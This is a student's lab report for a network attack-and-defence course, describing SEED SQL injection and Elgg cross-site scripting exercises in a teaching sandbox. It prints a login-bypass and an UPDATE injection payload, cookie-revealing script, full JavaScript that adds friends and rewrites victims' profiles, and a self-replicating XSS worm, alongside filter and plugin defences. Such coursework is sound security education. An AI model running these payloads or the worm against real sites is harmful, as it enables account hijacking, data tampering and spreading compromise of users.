20253905 2025-2026-2 《网络攻防实践》实践十报告

20253905 2025-2026-2 《网络攻防实践》实践十报告

1.实践内容

1.1 SEED SQL注入攻击与防御实验

  • 实验环境部署与SQL基础熟悉:修改虚拟机主机名、启动Apache Web服务,登录MySQL数据库,熟练使用基础SQL命令查看数据库、数据表及员工记录信息。
  • SELECT语句SQL注入攻击:分析登录页面源码与后端PHP代码,利用输入漏洞构造恶意语句,无需密码即可登录管理员账号。
  • UPDATE语句SQL注入攻击:在个人资料编辑页面构造注入载荷,利用UPDATE语句漏洞篡改数据库中管理员薪资数据。
  • SQL注入漏洞修复:通过PHP代码添加特殊字符、SQL敏感关键字正则过滤,重启服务后验证注入攻击失效,完成漏洞防御。

1.2 SEED XSS跨站脚本攻击实验(Elgg)

  • 基础XSS弹窗测试:在个人资料中嵌入JS脚本,实现页面弹窗自定义内容、弹窗展示用户Cookie信息。
  • 受害者Cookie窃取:开启端口监听,构造恶意脚本,诱导访问者自动将自身Cookie发送至攻击者主机。
  • 恶意自动化操作:编写JS代码,借助XSS漏洞实现自动添加受害者为好友、私自篡改受害者个人主页资料。
  • 编写XSS蠕虫:制作具备自我复制传播能力的蠕虫脚本,访问受感染主页的用户会自动植入恶意代码。
  • XSS攻击防御:在Elgg后台启用HTMLawed安全过滤插件,过滤恶意脚本,使其仅以文本展示、无法执行。

2.实践过程

2.1 SEED SQL注入攻击与防御实验

2.1.1 熟悉SQL语句

  • 使用hostname 20253905zhouweicheng修改主机名
  • 输入命令sudo service apache2 status,检查apache2.service的状态,显示Web服务器已经正常启动。
    image
  • 新建一个终端,名称以及更新
  • 输入命令mysql -u root -p进入数据库,密码为seedubuntu
    image
  • 输入命令show databases;查询数据库列表
    image
  • 输入命令use Users;,切换到Users数据库。再输入show tables;,查看Users里的表
    image
  • 输入命令select * from credential;,查看表内的记录
    image
  • 输入命令select * from credential where Name = 'Ted';,查找指定记录
    image

2.1.2 对SELECT语句的SQL注入攻击

  • 进入网站www.SEEDLabSQLInjection.com
    image
  • 右键view page source查看网页源码
    image
  • 发现登陆的表单中使用 get 方法访问 unsafe_home.php
    image
  • 查看/var/www/SQLInjection/unsafe_home.php
    image
  • 针对代码,我们可以在不知道密码的情况下以admin用户进行登录
    image
    image

2.1.3 对UPDATE语句的SQL注入攻击

  • 右键查看Edit Profile页面的源代码
    image
    image
  • 打开文件unsafe_edit_backend.php并查看
    image
  • 输入 ', Salary='20253905 'where name='Admin'; #
    image
    *记录成功被修改
    image

2.1.4 修复漏洞

  • 输入sudo nano /var/www/SQLInjection/unsafe_home.php,打开文件
  • 在接收到用户名变量后,加一个过滤条件$input_uname = preg_replace("/[\'\";#=<>\\\\\|]|--|\b(select|update|delete|insert|drop|union|or|and)\b/i", "", $input_uname);,保存退出
    image
  • 输入命令重新启动Apache服务
    image
  • 重新尝试使用Admin'#登录,登录失败,漏洞已修复
    image
    image

2.2 SEED XSS跨站脚本攻击实验(Elgg)

2.2.1 发布恶意消息,显示警报窗口

  • 打开网站www.xsslabelgg.com,并登录
    image
  • 进入编辑信息页面,在Brief description中输入如下脚本<script>alert("20253905");</script>
    image
  • 保存并退出,可以看到浏览器自动弹出一个警告窗口,窗口内容为20253905。
    image

2.2.2 弹窗显示cookie信息:将cookie信息显示

  • 重新进入资料编辑界面,输入<script>alert(document.cookie);</script>
    image
  • 保存并退出,页面成功显示了当前站点的Cookie信息
    image

2.2.3 窃取受害者的cookies:将cookie发送给攻击者

  • 查看IP地址
    image
  • 输入下图命令
    image
  • 开启监听
    image
  • 登录boby账号
    image
  • 得到cookie
    image

2.2.4 成为受害者的朋友

  • 登录Alice账号,访问boby的主页,查看用户的id
    image
    image
  • 编辑Alice主页,切换为HTML模式,输入以下代码
    image
<script type="text/javascript">
window.onload = function () {
  var Ajax = null;
  var ts = "&amp;__elgg_ts=" + elgg.security.token.__elgg_ts;
  var token = "&amp;__elgg_token=" + elgg.security.token.__elgg_token;
  var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
  Ajax = new XMLHttpRequest();
  Ajax.open("GET", sendurl, true);
  Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
  Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  Ajax.send();
}
</script>

image

  • 保存后退出,登录boby账号,点击Alice主页后,发现自动添加其为好友
    image

2.2.5修改受害者的信息

  • 编辑Alice主页,切换为HTML模式,输入以下代码,并保存退出
<script type="text/javascript">
window.onload = function(){
  var userName=elgg.session.user.name;
  var guid="&guid="+elgg.session.user.guid;
  var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
  var token="&__elgg_token="+elgg.security.token.__elgg_token;
  var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
  var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
  var aliceGuid=44;
  if(elgg.session.user.guid!=aliceGuid){
    var Ajax=null;
    Ajax=new XMLHttpRequest();
    Ajax.open("POST",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}
</script>

image

  • 登录boby账号访问alice主页,再次查看boby主页发现被修改
    image

2.2.6 编写XSS蠕虫

编辑Alice主页,切换为HTML模式,输入以下代码,并保存退出

<p>20253905zwc<script id='worm' type='text/javascript'>
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "&name=" + userName + "&description=<p>20253905zwc"+ wormCode + " &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
        var aliceGuid=45;
        if(elgg.session.user.guid!=aliceGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script></p>
  • 登录boby账号,访问Alice主页后,受害者用户的个人资料被自动修改,About me中出现了被写入的内容,说明脚本已经成功在受害者资料中保存下来。
    image

2.2.7 对抗XSS攻击

  • 登录管理员账户,账号:admin,密码:seedelgg,并在Account-Administration-Plugins中找到HTMLawed点按Actived按钮将其打开
    image
    image
  • 重新返回alice账号,恶意代码以普通文本的形式显示在页面中,没有继续执行,对抗成功
    image

3.学习中遇到的问题及解决

  • 问题1:使用数据库时,没有加;导致无法执行命令
  • 问题1解决方案:学习SQL语法。

4.实践总结

本次实验完成了SEED平台SQL注入与Elgg框架XSS跨站脚本攻防实操。熟悉了MySQL基础SQL语句,掌握SELECT、UPDATE语句的SQL注入攻击方式,实现无密码登录管理员账号、篡改数据库数据,并通过代码关键字过滤成功修复漏洞。同时完成XSS弹窗提示、Cookie窃取、自动添加好友、篡改用户信息及XSS蠕虫编写,借助安全插件实现XSS防御。实验深入理解Web漏洞的原理与危害,掌握常见攻击手法和防护方案,也发现自身SQL语法运用不熟练的问题,有效提升了网络攻防实践与安全防护能力。

posted @ 2026-06-02 13:52  周伟诚  阅读(10)  评论(0)    收藏  举报